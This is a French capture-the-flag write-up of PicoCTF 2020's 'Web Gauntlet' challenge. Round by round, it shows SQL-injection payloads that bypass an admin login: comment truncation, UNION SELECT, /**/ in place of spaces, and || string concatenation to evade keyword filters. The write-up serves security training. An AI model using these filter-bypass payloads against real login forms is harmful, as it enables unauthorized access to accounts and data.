Logo

Web Gauntlet est un chall d’exploitation web proposé lors de la version 2020 de PicoCTF. Il s’agit d’un challenge plutôt classique où le but est de se loguer en tant qu’admin à l’aide d’injections SQL. Jusque là rien de bien nouveau… L’originalité de Web Gauntlet est toutefois qu’il faudra bypasser des filtres qui sont ajoutés à chaque niveau du chall pour complexifier les SQLi.

Description

Sign In

Test avec admin::admin

Test

SELECT * FROM users WHERE username='admin' AND password='admin'

Ref: PayloadsAllTheThings - SQL injection

Round 1

Round1

Pour le ‘Round 1’ on ne peut pas utiliser ‘or’…

Payload:

Username: admin';-- test Password: test

SELECT * FROM users WHERE username='admin';-- test' AND password='test'

; : ferme la requête – : ce qui est après est un commentaire

Remarque: Pas d’espace avant l’appel au commentaire sinon bloque car considéré comme white space voir plus bas round 4

Round1

Round 2

Round2

Payload:

Username: admin'; Password: test

SELECT * FROM users WHERE username='admin';' AND password='test'

Round2

Round 3

Round3

Ça change rien, on utilise aucun de ces symboles :)

Payload:

Username: admin'; Password: test

SELECT * FROM users WHERE username='admin';' AND password='test'

Round3

Round 4

Round4

On ne peut plus utiliser admin

En général le premier utilisateur dans la table est admin

1 admin password
2 user1 password1
...

Payload:

Username: bob' UNION SELECT * FROM users LIMIT 1; Password: test

SELECT * FROM users WHERE username='bob' UNION SELECT * FROM users LIMIT 1;' AND password='test'

LIMIT 1 limite au premier résultat

Ne fonctionne pas car contient des whitespace :(

on peut utiliser /**/ à la place des espaces ce qui donne le payload suivant

Paylod:

bob'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;

Ref:

SELECT * FROM users WHERE username='bob'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='bob'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;'

Round4

Round 5

Round5

‘The double-pipe sequence   is a string concatenation operator on Oracle.’

Ref: SQL injection - Union attacks - Portswigger

Payload: adm'||'in';

Round5

Poursuivez avec :

- VulnHub - BossPlayersCTF

- Hack The Box - Cache

- PicoCTF 2018 - Web Application

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.